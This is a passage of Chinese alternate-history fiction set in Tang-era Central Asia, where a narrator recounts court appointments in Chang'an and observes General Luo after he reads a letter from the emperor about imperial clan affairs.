他身上的杀气如退潮般隐没无形,拆过信件一看,脸上出现了一点无奈的笑: “陛下对宗室事务拿捏不定,何必来问我……大宗正玉真公主不是正在长安吗?” 这些年他虽居住在碎叶,往来碎叶与长安之间的驿马却从来没有停止过,皇帝跟着自己的侍读阿史那震叫他“王兄”,视他如兄如师。 这些年长安人事变换不算频繁,宋璟致仕之后,张孝嵩顺理成章地接过了他的班,一年前他致仕归乡之后,接任他职务的是萧嵩,曾以中书舍人身份坐镇逻些城的萧嵩,而张九龄官拜中书令——显然会是下一个政事堂领袖。 洛将军的旧部郭知运做了八年兵部尚书,又将职务传承给了曾与将军并肩作战的盖嘉运…… 户部尚书则从裴伷先变成了裴耀卿,自他们执掌户部以来,商税占据国库的比例日渐增加,天下那些汲汲营营的普通百姓也可以松一口气,享受着轻徭薄赋的好日子。 还有文坛,苏颋去世后,王翰与监修国史的宰相张说隐隐已有文坛宗主的架势。王翰还力排众议,把实学也作为殿试题目之一。 每当我看到那些来到木鹿城文馆求学的学生兢兢业业地背书、算数、画图时,我的心里就说不出的畅快:嘿嘿!这学习的苦终于不止我一个人吃了! 至于玉真公主,她年少时便出家做了女道士,曾随如今在吐蕃做了摄政太后的金城公主车驾四处游历,也曾继承太平公主的遗志,散尽家财,兴办女学,鼓励女业…… 但她在民间的日子太多,皇帝与她并不熟悉,遇到事情,第一反应也不会是求助她。 这对皇帝和洛将军来说未必是件坏事吧?我想。 05 窗外的胡杨叶沙沙作响。洛将军已回到案前,伸手给我递来一杯三勒浆。 “吓着你了?” 我看着他的笑容,心神稍定,但捧过酒盏的手还是有些发抖。他也并不在意,挥了挥手,示意我可以退下休息,又叮嘱我: “抽空可以去碎叶文馆看看,今年新出的安西地理图制正在校稿,你对呼罗珊的河道水系皆有了解,可以去看看有无错漏。” 他温声叮嘱我。我还没反应过来,并波悉林已经拉着我退出书房。 我最后记住的是他执笔的侧影。晚霞的辉光为他身上的紫色袍服镀上金边,那些传说血流漂杵的战役、力挽狂澜的政令……此刻都凝结在他一人身上,成为我终其一生难以忘怀的景象。